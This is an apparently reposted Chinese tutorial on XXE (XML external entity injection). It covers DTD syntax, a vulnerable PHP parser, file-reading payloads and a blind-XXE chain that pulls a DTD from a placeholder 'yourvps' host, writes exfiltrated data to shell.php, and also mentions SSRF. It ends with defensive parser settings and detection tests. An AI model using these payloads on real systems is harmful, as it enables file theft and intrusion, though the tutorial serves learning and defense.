XXE漏洞原理[通俗易懂]

XXE漏洞原理[通俗易懂]XXE漏洞是XML外部实体注入漏洞,那什么是外部实体呢?XMLDTD1、文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。2、DTD可被成行地声明于XML文档中,也可作为一个外部引用。Ps:第二条是重点,也是XXE漏洞产生的原因,DTD可以定义外部实体并引用DTD语法若DTD要在XML文档中使用,他需要包含在·DOCTYPE声明…

大家好,又见面了,我是你们的朋友全栈君。

XXE漏洞是XML外部实体注入漏洞,那什么是外部实体呢?


XML DTD

1、文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

2、DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用

Ps:第二条是重点,也是XXE漏洞产生的原因,DTD可以定义外部实体并引用

DTD语法

  • 若DTD要在XML文档中使用,他需要包含在·DOCTYPE声明中

  • 语法

    <!DOCTYPE 根元素 [元素声明]>
    
  • 实体引用

    <!ENTITY 实体名 “”实体值“”>
    
  • 示例代码

    <?xml version="1.0" encoding="utf-8"?> //xml声明
    <!DOCTYPE playwin [ <!ENTITY name "playwin">
    ]>
    <resume>
    <name> &name; </name>
    </resume>
    

    在这里插入图片描述

    • 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 ( ; )。
    • 声明 name 的值为 playwin ,下面引用 &name;xml会自动解析为他的值,如果有的话,否则报错
  • 外部实体

    • 简单的说,就不是xml本身已定义的实体,需要引用在xml文件之外的数据。
    • 语法
      <!ENTITY 实体名字 SYSTEM "URI/URL">
      
      • SYSTEM 启了一个声明作用,让解析器知道,这是一个外部实体
      • 如果不在其他环境中,只打开xml文件本身,浏览器默认是不会引用外部实体
        在这里插入图片描述
    • 根据不同环境不同协议读取外部数据
      在这里插入图片描述

什么是XXE

  • XXE 也就是 XML外部实体注入攻击

利用方式

  • php环境下

    <?php
    $xml=simplexml_load_string($_GET['xml']);
    print_r($xml);
    ?>	
    
  • 将以下xml代码进行URL编码,读取文件

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE playwin [ <!ENTITY name SYSTEM "file:///D:/phpStudy/PHPTutorial/WWW/1.txt">
    ]>
    <resume>
    <name> &name; </name>
    </resume>
    

    在这里插入图片描述

  • 回显
    在这里插入图片描述

    • 成功XXE

    XXE能做什么

    • blind XXE

      • 若上面php中没有print_r,我们还是可以发起http请求,进行攻击

      • <?php
        $xml=simplexml_load_string($_GET['xml']);
        ?>
        
      • 利用参数实体

        <!ENTITY % 实体名字 SYSTEM(外部实体加上) ‘实体值’>
        
      • 在vps创建一个php文件

        <?php
        file_put_contents("shell.php", $_GET['file']) ;
        ?>
        
      • 通过过参数实体,请求vps上的dtd文件

        • dtd文件
        <!ENTITY % haha "<!ENTITY ok SYSTEM 'http://yourvps/2.php?file=123'>">
        
        • xml文件
        <?xml version="1.0" encoding="utf-8"?>
        <!DOCTYPE playwin [ <!ENTITY % name SYSTEM "http://yourvps/1.dtd">  //请求dtd文件
        %name;
        %haha;
        ]>
        <resume>
        <name> &ok; </name>
        </resume>
        
      • 结果
        在这里插入图片描述

        • 理论上我们可以写入shell
    • 读取文件

      • 利用各种协力读取想要的文件
      • 读取php文件需要利用php://协议进行base64加密输出,因为php< ,>会影响到xml
    • 命令执行

      • php环境下,xml命令执行要求php装有expect扩展,而且php上解析也需要它
    • 内网探测/SSRF

      • XML 外部实体中是可以使用http://协议,可以利用该请求去探查内网,进行SSRF攻击
    • 进行 DOS 攻击

    • 文件上传

      • 在java中利用jar://协议可实现
    • 钓鱼


    防御XXE

    • 禁用开发语言引用外部实体的能力
      • PHP:

        libxml_disable_entity_loader(true);

      • JAVA:

        DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

        dbf.setExpandEntityReferences(false);

      • Python:

        from lxml import etree

        xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    • 白名单过滤

    判断是否存在XXE漏洞

    • xml是否会被解析
      <?xml version='1.0' encoding='utf-8'?>
      <!DOCTYPE ROOT [ <!ENTITY playwin "success">
      ]>
      <root>&playwin;</root>
      
      • 若出现success,则说明解析成功,进行下一步
    • 检测服务器是否支持引用外部实体
      <?xml version='1.0' encoding='utf-8'?>
      <!DOCTYPE ROOT [ <!ENTITY playwin SYSTEM "http://yourvps/xx.txt">
      ]>
      <root>&playwin;</root>
      
      • 解析成功,说明有XXE漏洞
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/142367.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 计算机科学丛书豆瓣_有关计算机科学与技术专业的书籍

    计算机科学丛书豆瓣_有关计算机科学与技术专业的书籍1.TheArtofComputerProgramming  Author:Donald.E.Knuth  Website:http://www-cs-faculty.stanford.edu/~knuth/taocp.html  BookInfo:这部书被誉为20世纪最重要的20部著作之一,与Einstein的>并列,是计算机科学领域的权威著作.全书共分7卷,目前已经出版了3卷

    2022年10月31日
  • 【JVM调优工具】JVM调优工具[通俗易懂]

    【JVM调优工具】JVM调优工具[通俗易懂]一、JVM调优工具1.jstat工具java程序默认使用的xmx_为什么JAVA进程占用内存会超过Xmx设置_保瓶儿的博客-CSDN博客

  • c++ 线程间通信方式「建议收藏」

    c++ 线程间通信方式「建议收藏」线程同步和线程互斥互斥:是指某一资源同时只允许一个访问者对其进行访问,具有唯一性和排它性。但互斥无法限制访问者对资源的访问顺序,即访问是无序的,线程间不需要知道彼此的存在。同步:是指在互斥的基础上(大多数情况),通过其它机制实现访问者对资源的有序访问,线程间知道彼此的存在。在大多数情况下,同步已经实现了互斥,特别是所有写入资源的情况必定是互斥的。少数情况是指可以允许多个访问者同时访问资源线程…

  • 常用经典SQL语句大全完整版–详解+实例

    常用经典SQL语句大全完整版–详解+实例下列语句部分是Mssql语句,不可以在access中使用。  SQL分类:  DDL—数据定义语言(CREATE,ALTER,DROP,DECLARE)  DML—数据操纵语言(SELECT,DELETE,UPDATE,INSERT)  DCL—数据控制语言(GRANT,REVOKE,COMMIT,ROLLBACK)  首先,简要介绍基础语句:  1、说明:创建数据库CREATED…

  • html+CSS让背景图片充满整个屏幕

    html+CSS让背景图片充满整个屏幕由于给网页设置背景图时,需要设置背景图不重复且充满整个浏览器屏幕。   给body标签指定背景图,这样背景图就可以填充整个浏览器viewport了。其实,该方案对所有的块级容器都可以生效。块级容器的宽高是动态的,那么背景图将自动伸缩,充满整个容器。可设置body标签的CSS样式如下:body{/*加载背景图*/backg

  • 虚拟现实技术成功应用案例分析_虚拟现实技术的案例

    虚拟现实技术成功应用案例分析_虚拟现实技术的案例心理治疗方面,VR技术以治疗恐怖症、PTSD等闻名于世,近年来不断拓广应用领域。英国伦敦大学学院(UCL)、西班牙巴塞罗那大学和英国德比大学的心理学家和计算机科学家们发表了一项研究,提出一种可以提升自我同情的心理治疗新方法——利用虚拟现实技术。具体的案例被称为“化身实验”,在试验的过程中,被试者会化身为安抚者、被安抚者、第三人视角进行试验,研究结果显示,以从虚拟儿童的角度回溯安抚过程的女性,会…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号